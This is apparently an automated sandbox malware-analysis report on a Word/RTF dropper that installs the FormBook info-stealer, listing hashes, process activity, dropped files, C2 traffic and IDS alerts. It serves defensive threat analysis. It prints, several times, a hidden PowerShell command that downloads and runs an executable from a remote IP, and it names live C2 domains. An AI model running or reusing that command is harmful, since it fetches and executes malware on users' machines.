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File name:

ba4df75c2a5c0e1ae63f40e8e81f4469.doc

Full analysis: https://app.any.run/tasks/456f7a21-796b-4847-a3ca-a8661d99d539
Verdict: Malicious activity
Threats:

FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus.

Analysis date: October 20, 2020, 07:42:27
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
opendir
loader
trojan
formbook
stealer
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, unknown character set
MD5:

BA4DF75C2A5C0E1AE63F40E8E81F4469

SHA1:

D13FB216D4C18CE70C2E864078B9A67081F9CBE6

SHA256:

329B2BEAB0F04FF3418020363E781756A72D90D9DFEF91D5134F80C8B749C069

SSDEEP:

1536:9XySTvHyjtHv9Yr9ae2o+CKwNR6+vLUSx+3Bjy6mAgaeeVhMDw5wfLu:95lraRDAw5wf6

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 560)
    • Executes PowerShell scripts

      • WINWORD.EXE (PID: 560)
    • Executable content was dropped or overwritten

      • WINWORD.EXE (PID: 560)
    • Application was dropped or rewritten from another process

      • images.exe (PID: 2268)
      • images.exe (PID: 3580)
      • images.exe (PID: 3564)
      • images.exe (PID: 1540)
      • images.exe (PID: 3296)
      • images.exe (PID: 968)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 4072)
    • Downloads executable files from IP

      • powershell.exe (PID: 4072)
    • Runs app for hidden code execution

      • explorer.exe (PID: 392)
    • Connects to CnC server

      • explorer.exe (PID: 392)
    • FORMBOOK was detected

      • explorer.exe (PID: 392)
  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 4072)
      • powershell.exe (PID: 948)
      • powershell.exe (PID: 884)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 4072)
    • Application launched itself

      • images.exe (PID: 2268)
      • images.exe (PID: 1540)
      • images.exe (PID: 3580)
    • Starts CMD.EXE for commands execution

      • taskhost.exe (PID: 576)
      • explorer.exe (PID: 392)
  • INFO

    • Starts Microsoft Office Application

      • explorer.exe (PID: 392)
    • Reads Internet Cache Settings

      • WINWORD.EXE (PID: 560)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 560)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 560)
    • Manual execution by user

      • taskhost.exe (PID: 576)
      • cmd.exe (PID: 2628)
      • msg.exe (PID: 2292)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
56
Monitored processes
17
Malicious processes
2
Suspicious processes
5

Behavior graph

Click at the process to see the details
start drop and start winword.exe powershell.exe images.exe no specs powershell.exe no specs powershell.exe no specs images.exe no specs images.exe no specs images.exe no specs taskhost.exe no specs verclsid.exe no specs notepad.exe no specs images.exe no specs images.exe no specs cmd.exe no specs cmd.exe no specs msg.exe no specs #FORMBOOK explorer.exe

Process information

PID
CMD
Path
Indicators
Parent process
560"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\ba4df75c2a5c0e1ae63f40e8e81f4469.doc.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
4072"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://23.99.216.59/img/images.exe','C:\Users\admin\AppData\Roaming\images.exe');Start-Process 'C:\Users\admin\AppData\Roaming\images.exe'"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2268"C:\Users\admin\AppData\Roaming\images.exe" C:\Users\admin\AppData\Roaming\images.exepowershell.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Exit code:
0
Version:
1.0.0.0
948"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://23.99.216.59/img/images.exe','C:\Users\admin\AppData\Roaming\images.exe');Start-Process 'C:\Users\admin\AppData\Roaming\images.exe'"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
884"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://23.99.216.59/img/images.exe','C:\Users\admin\AppData\Roaming\images.exe');Start-Process 'C:\Users\admin\AppData\Roaming\images.exe'"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3580"C:\Users\admin\AppData\Roaming\images.exe" C:\Users\admin\AppData\Roaming\images.exepowershell.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Exit code:
0
Version:
1.0.0.0
1540"C:\Users\admin\AppData\Roaming\images.exe" C:\Users\admin\AppData\Roaming\images.exepowershell.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Exit code:
0
Version:
1.0.0.0
3564"C:\Users\admin\AppData\Roaming\images.exe"C:\Users\admin\AppData\Roaming\images.exeimages.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Exit code:
0
Version:
1.0.0.0
576"C:\Windows\System32\taskhost.exe"C:\Windows\System32\taskhost.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Host Process for Windows Tasks
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2128"C:\Windows\system32\verclsid.exe" /S /C {06290BD2-48AA-11D2-8432-006008C3FBFC} /I {00000112-0000-0000-C000-000000000046} /X 0x5C:\Windows\system32\verclsid.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Extension CLSID Verification Host
Exit code:
3
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
3 527
Read events
2 613
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
7
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
560WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR4182.tmp.cvr
MD5:
SHA256:
560WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4BE4AD31.png
MD5:
SHA256:
4072powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IML7F8AY2XLHKC4RTSAK.temp
MD5:
SHA256:
948powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\B5412LBTZZX3O27TE41M.temp
MD5:
SHA256:
884powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PQELP6AD3PDJ1XOFQEQM.temp
MD5:
SHA256:
560WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6Z2BCOUL\images[1].exeexecutable
MD5:CBA223C7EB666479CBE851705FB4EA70
SHA256:1172CE21252D6DD71081C038ED118F2E871D52C500A802BFDB29EE1E7F851B4A
560WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$4df75c2a5c0e1ae63f40e8e81f4469.doc.rtfpgc
MD5:8B435793BCF58F2C1297F47FAF691081
SHA256:9ACEB034B6DA0C2C7EBEC9CBC75E3983C134F79983A0B4D43E0AFEBE43C2D1AB
948powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:D6EE8C34E4C28999F00E385C8808E7DE
SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB
884powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:D6EE8C34E4C28999F00E385C8808E7DE
SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB
948powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF2d70c0.TMPbinary
MD5:D6EE8C34E4C28999F00E385C8808E7DE
SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
4
DNS requests
3
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
392
explorer.exe
GET
46.17.172.156:80
http://www.mc2.works/ri6/?tZ2x=A5BRKEbhZetAy1pwSLSDHISNjY8GYQNd9PKL/wKBBrR0ncuepv45AB/tLH/9SZn9OVqbjA==&Un0l=GTIL2JL8eD8luN
unknown
malicious
4072
powershell.exe
GET
200
23.99.216.59:80
http://23.99.216.59/img/images.exe
US
executable
706 Kb
suspicious
392
explorer.exe
GET
301
104.18.136.62:80
http://www.dylanderoger.com/ri6/?tZ2x=bVwNa6CHIdoenlSEPnMAEKgW46q8BvJ8Osr4oo9ZpQnE1pt+KIevZ6mPvCb4Ucqun99ufw==&Un0l=GTIL2JL8eD8luN
US
html
200 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
392
explorer.exe
46.17.172.156:80
www.mc2.works
malicious
4072
powershell.exe
23.99.216.59:80
Microsoft Corporation
US
suspicious
560
WINWORD.EXE
23.99.216.59:80
Microsoft Corporation
US
suspicious
392
explorer.exe
104.18.136.62:80
www.dylanderoger.com
Cloudflare Inc
US
shared

DNS requests

Domain
IP
Reputation
www.dylanderoger.com
  • 104.18.136.62
  • 104.18.132.62
  • 104.18.135.62
  • 104.18.133.62
  • 104.18.134.62
malicious
www.mc2.works
  • 46.17.172.156
malicious
www.marketingbiz.info
unknown

Threats

PID
Process
Class
Message
560
WINWORD.EXE
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
560
WINWORD.EXE
A Network Trojan was detected
ET CURRENT_EVENTS Likely Evil EXE download from dotted Quad by MSXMLHTTP M1
560
WINWORD.EXE
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
560
WINWORD.EXE
A Network Trojan was detected
ET CURRENT_EVENTS Likely Evil EXE download from dotted Quad by MSXMLHTTP M2
560
WINWORD.EXE
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
4072
powershell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
4072
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
4072
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
4072
powershell.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
392
explorer.exe
A Network Trojan was detected
SPYWARE [PTsecurity] FormBook
2 ETPRO signatures available at the full report
No debug info